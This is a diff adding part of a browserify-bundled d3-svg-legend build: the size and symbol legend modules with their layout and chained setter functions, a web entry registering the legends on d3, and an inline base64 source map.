+ if (shape === "line") { + _legend2.default.d3_drawShapes(shape, shapes, 0, shapeWidth); + shapes.attr("stroke-width", type.feature); + } else { + _legend2.default.d3_drawShapes(shape, shapes, type.feature, type.feature, type.feature, path); + } + + var text = _legend2.default.d3_addText(svg, cellEnter, type.labels, classPrefix, labelWrap); + + // we need to merge the selection, otherwise changes in the legend (e.g. change of orientation) are applied only to the new cells and not the existing ones. + cell = cellEnter.merge(cell); + + //sets placement + + var textSize = text.nodes().map(function (d) { + return d.getBBox(); + }), + shapeSize = shapes.nodes().map(function (d, i) { + var bbox = d.getBBox(); + var stroke = scale(type.data[i]); + + if (shape === "line" && orient === "horizontal") { + bbox.height = bbox.height + stroke; + } else if (shape === "line" && orient === "vertical") { + bbox.width = bbox.width; + } + return bbox; + }); + + var maxH = (0, _d3Array.max)(shapeSize, function (d) { + return d.height + d.y; + }), + maxW = (0, _d3Array.max)(shapeSize, function (d) { + return d.width + d.x; + }); + + var cellTrans = void 0, + textTrans = void 0, + textAlign = labelAlign == "start" ? 0 : labelAlign == "middle" ? 0.5 : 1; + + //positions cells and text + if (orient === "vertical") { + (function () { + var cellSize = textSize.map(function (d, i) { + return Math.max(d.height, shapeSize[i].height); + }); + var y = shape == "circle" || shape == "line" ? shapeSize[0].height / 2 : 0; + cellTrans = function cellTrans(d, i) { + var height = (0, _d3Array.sum)(cellSize.slice(0, i)); + + return "translate(0, " + (y + height + i * shapePadding) + ")"; + }; + + textTrans = function textTrans(d, i) { + return "translate( " + (maxW + labelOffset) + ",\n " + (shapeSize[i].y + shapeSize[i].height / 2 + 5) + ")"; + }; + })(); + } else if (orient === "horizontal") { + (function () { + cellTrans = function cellTrans(d, i) { + var width = (0, _d3Array.sum)(shapeSize.slice(0, i), function (d) { + return d.width; + }); + var y = shape == "circle" || shape == "line" ? maxH / 2 : 0; + return "translate(" + (width + i * shapePadding) + ", " + y + ")"; + }; + + var offset = shape == "line" ? maxH / 2 : maxH; + textTrans = function textTrans(d, i) { + return "translate( " + (shapeSize[i].width * textAlign + shapeSize[i].x) + ",\n " + (offset + labelOffset) + ")"; + }; + })(); + } + + _legend2.default.d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign); + _legend2.default.d3_title(svg, title, classPrefix, titleWidth); + + cell.transition().style("opacity", 1); + } + + legend.scale = function (_) { + if (!arguments.length) return scale; + scale = _; + return legend; + }; + + legend.cells = function (_) { + if (!arguments.length) return cells; + if (_.length > 1 || _ >= 2) { + cells = _; + } + return legend; + }; + + legend.cellFilter = function (_) { + if (!arguments.length) return cellFilter; + cellFilter = _; + return legend; + }; + + legend.shape = function (_, d) { + if (!arguments.length) return shape; + if (_ == "rect" || _ == "circle" || _ == "line") { + shape = _; + path = d; + } + return legend; + }; + + legend.shapeWidth = function (_) { + if (!arguments.length) return shapeWidth; + shapeWidth = +_; + return legend; + }; + + legend.shapePadding = function (_) { + if (!arguments.length) return shapePadding; + shapePadding = +_; + return legend; + }; + + legend.labels = function (_) { + if (!arguments.length) return labels; + labels = _; + return legend; + }; + + legend.labelAlign = function (_) { + if (!arguments.length) return labelAlign; + if (_ == "start" || _ == "end" || _ == "middle") { + labelAlign = _; + } + return legend; + }; + + legend.locale = function (_) { + if (!arguments.length) return locale; + locale = (0, _d3Format.formatLocale)(_); + return legend; + }; + + legend.labelFormat = function (_) { + if (!arguments.length) return legend.locale().format(specifier); + specifier = (0, _d3Format.formatSpecifier)(_); + return legend; + }; + + legend.labelOffset = function (_) { + if (!arguments.length) return labelOffset; + labelOffset = +_; + return legend; + }; + + legend.labelDelimiter = function (_) { + if (!arguments.length) return labelDelimiter; + labelDelimiter = _; + return legend; + }; + + legend.labelWrap = function (_) { + if (!arguments.length) return labelWrap; + labelWrap = _; + return legend; + }; + + legend.orient = function (_) { + if (!arguments.length) return orient; + _ = _.toLowerCase(); + if (_ == "horizontal" || _ == "vertical") { + orient = _; + } + return legend; + }; + + legend.ascending = function (_) { + if (!arguments.length) return ascending; + ascending = !!_; + return legend; + }; + + legend.classPrefix = function (_) { + if (!arguments.length) return classPrefix; + classPrefix = _; + return legend; + }; + + legend.title = function (_) { + if (!arguments.length) return title; + title = _; + return legend; + }; + + legend.titleWidth = function (_) { + if (!arguments.length) return titleWidth; + titleWidth = _; + return legend; + }; + + legend.on = function () { + var value = legendDispatcher.on.apply(legendDispatcher, arguments); + return value === legendDispatcher ? legend : value; + }; + + return legend; +} + +},{"./legend":13,"d3-array":1,"d3-dispatch":4,"d3-format":5,"d3-scale":7}],15:[function(require,module,exports){ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +exports.default = symbol; + +var _legend = require("./legend"); + +var _legend2 = _interopRequireDefault(_legend); + +var _d3Dispatch = require("d3-dispatch"); + +var _d3Scale = require("d3-scale"); + +var _d3Format = require("d3-format"); + +var _d3Array = require("d3-array"); + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + +function symbol() { + var scale = (0, _d3Scale.scaleLinear)(), + shape = "path", + shapeWidth = 15, + shapeHeight = 15, + shapeRadius = 10, + shapePadding = 5, + cells = [5], + cellFilter = void 0, + labels = [], + classPrefix = "", + title = "", + locale = _legend2.default.d3_defaultLocale, + specifier = _legend2.default.d3_defaultFormatSpecifier, + labelAlign = "middle", + labelOffset = 10, + labelDelimiter = _legend2.default.d3_defaultDelimiter, + labelWrap = void 0, + orient = "vertical", + ascending = false, + titleWidth = void 0, + legendDispatcher = (0, _d3Dispatch.dispatch)("cellover", "cellout", "cellclick"); + + function legend(svg) { + var type = _legend2.default.d3_calcType(scale, ascending, cells, labels, locale.format(specifier), labelDelimiter), + legendG = svg.selectAll("g").data([scale]); + + if (cellFilter) { + _legend2.default.d3_filterCells(type, cellFilter); + } + + legendG.enter().append("g").attr("class", classPrefix + "legendCells"); + + var cell = svg.select("." + classPrefix + "legendCells").selectAll("." + classPrefix + "cell").data(type.data); + var cellEnter = cell.enter().append("g").attr("class", classPrefix + "cell"); + cellEnter.append(shape).attr("class", classPrefix + "swatch"); + + var shapes = svg.selectAll("g." + classPrefix + "cell " + shape + "." + classPrefix + "swatch"); + + //add event handlers + _legend2.default.d3_addEvents(cellEnter, legendDispatcher); + + //remove old shapes + cell.exit().transition().style("opacity", 0).remove(); + shapes.exit().transition().style("opacity", 0).remove(); + shapes = shapes.merge(shapes); + + _legend2.default.d3_drawShapes(shape, shapes, shapeHeight, shapeWidth, shapeRadius, type.feature); + var text = _legend2.default.d3_addText(svg, cellEnter, type.labels, classPrefix, labelWrap); + + // we need to merge the selection, otherwise changes in the legend (e.g. change of orientation) are applied only to the new cells and not the existing ones. + cell = cellEnter.merge(cell); + + // sets placement + var textSize = text.nodes().map(function (d) { + return d.getBBox(); + }), + shapeSize = shapes.nodes().map(function (d) { + return d.getBBox(); + }); + + var maxH = (0, _d3Array.max)(shapeSize, function (d) { + return d.height; + }), + maxW = (0, _d3Array.max)(shapeSize, function (d) { + return d.width; + }); + + var cellTrans = void 0, + textTrans = void 0, + textAlign = labelAlign == "start" ? 0 : labelAlign == "middle" ? 0.5 : 1; + + //positions cells and text + if (orient === "vertical") { + (function () { + var cellSize = textSize.map(function (d, i) { + return Math.max(maxH, d.height); + }); + + cellTrans = function cellTrans(d, i) { + var height = (0, _d3Array.sum)(cellSize.slice(0, i)); + return "translate(0, " + (height + i * shapePadding) + " )"; + }; + textTrans = function textTrans(d, i) { + return "translate( " + (maxW + labelOffset) + ",\n " + (shapeSize[i].y + shapeSize[i].height / 2 + 5) + ")"; + }; + })(); + } else if (orient === "horizontal") { + cellTrans = function cellTrans(d, i) { + return "translate( " + i * (maxW + shapePadding) + ",0)"; + }; + textTrans = function textTrans(d, i) { + return "translate( " + (shapeSize[i].width * textAlign + shapeSize[i].x) + ",\n " + (maxH + labelOffset) + ")"; + }; + } + + _legend2.default.d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign); + _legend2.default.d3_title(svg, title, classPrefix, titleWidth); + cell.transition().style("opacity", 1); + } + + legend.scale = function (_) { + if (!arguments.length) return scale; + scale = _; + return legend; + }; + + legend.cells = function (_) { + if (!arguments.length) return cells; + if (_.length > 1 || _ >= 2) { + cells = _; + } + return legend; + }; + + legend.cellFilter = function (_) { + if (!arguments.length) return cellFilter; + cellFilter = _; + return legend; + }; + + legend.shapePadding = function (_) { + if (!arguments.length) return shapePadding; + shapePadding = +_; + return legend; + }; + + legend.labels = function (_) { + if (!arguments.length) return labels; + labels = _; + return legend; + }; + + legend.labelAlign = function (_) { + if (!arguments.length) return labelAlign; + if (_ == "start" || _ == "end" || _ == "middle") { + labelAlign = _; + } + return legend; + }; + + legend.locale = function (_) { + if (!arguments.length) return locale; + locale = (0, _d3Format.formatLocale)(_); + return legend; + }; + + legend.labelFormat = function (_) { + if (!arguments.length) return legend.locale().format(specifier); + specifier = (0, _d3Format.formatSpecifier)(_); + return legend; + }; + + legend.labelOffset = function (_) { + if (!arguments.length) return labelOffset; + labelOffset = +_; + return legend; + }; + + legend.labelDelimiter = function (_) { + if (!arguments.length) return labelDelimiter; + labelDelimiter = _; + return legend; + }; + + legend.labelWrap = function (_) { + if (!arguments.length) return labelWrap; + labelWrap = _; + return legend; + }; + + legend.orient = function (_) { + if (!arguments.length) return orient; + _ = _.toLowerCase(); + if (_ == "horizontal" || _ == "vertical") { + orient = _; + } + return legend; + }; + + legend.ascending = function (_) { + if (!arguments.length) return ascending; + ascending = !!_; + return legend; + }; + + legend.classPrefix = function (_) { + if (!arguments.length) return classPrefix; + classPrefix = _; + return legend; + }; + + legend.title = function (_) { + if (!arguments.length) return title; + title = _; + return legend; + }; + + legend.titleWidth = function (_) { + if (!arguments.length) return titleWidth; + titleWidth = _; + return legend; + }; + + legend.on = function () { + var value = legendDispatcher.on.apply(legendDispatcher, arguments); + return value === legendDispatcher ? legend : value; + }; + + return legend; +} + +},{"./legend":13,"d3-array":1,"d3-dispatch":4,"d3-format":5,"d3-scale":7}],16:[function(require,module,exports){ +'use strict'; + +var _color = require('./color'); + +var _color2 = _interopRequireDefault(_color); + +var _size = require('./size'); + +var _size2 = _interopRequireDefault(_size); + +var _symbol = require('./symbol'); + +var _symbol2 = _interopRequireDefault(_symbol); + +var _helpers = require('./helpers'); + +var _helpers2 = _interopRequireDefault(_helpers); + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + +d3.legendColor = _color2.default; +d3.legendSize = _size2.default; +d3.legendSymbol = _symbol2.default; +d3.legendHelpers = _helpers2.default; + +},{"./color":11,"./helpers":12,"./size":14,"./symbol":15}]},{},[16]) +//# sourceMappingURL=data:application/json;charset:utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5vZGVfbW9kdWxlcy9icm93c2VyLXBhY2svX3ByZWx1ZGUuanMiLCJub2RlX21vZHVsZXMvZDMtYXJyYXkvYnVpbGQvZDMtYXJyYXkuanMiLCJub2RlX21vZHVsZXMvZDMtY29sbGVjdGlvbi9idWlsZC9kMy1jb2xsZWN0aW9uLmpzIiwibm9kZV9tb2R1bGVzL2QzLWNvbG9yL2J1aWxkL2QzLWNvbG9yLmpzIiwibm9kZV9tb2R1bGVzL2QzLWRpc3BhdGNoL2J1aWxkL2QzLWRpc3BhdGNoLmpzIiwibm9kZV9tb2R1bGVzL2QzLWZvcm1hdC9idWlsZC9kMy1mb3JtYXQuanMiLCJub2RlX21vZHVsZXMvZDMtaW50ZXJwb2xhdGUvYnVpbGQvZDMtaW50ZXJwb2xhdGUuanMiLCJub2RlX21vZHVsZXMvZDMtc2NhbGUvYnVpbGQvZDMtc2NhbGUuanMiLCJub2RlX21vZHVsZXMvZDMtc2VsZWN0aW9uL2J1aWxkL2QzLXNlbGVjdGlvbi5qcyIsIm5vZGVfbW9kdWxlcy9kMy10aW1lLWZvcm1hdC9idWlsZC9kMy10aW1lLWZvcm1hdC5qcyIsIm5vZGVfbW9kdWxlcy9kMy10aW1lL2J1aWxkL2QzLXRpbWUuanMiLCJzcmMvY29sb3IuanMiLCJzcmMvaGVscGVycy5qcyIsInNyYy9sZWdlbmQuanMiLCJzcmMvc2l6ZS5qcyIsInNyYy9zeW1ib2wuanMiLCJzcmMvd2ViLmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0FDQUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTs7QUMvY0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTs7QUN6TkE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTs7QUMzZ0JBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0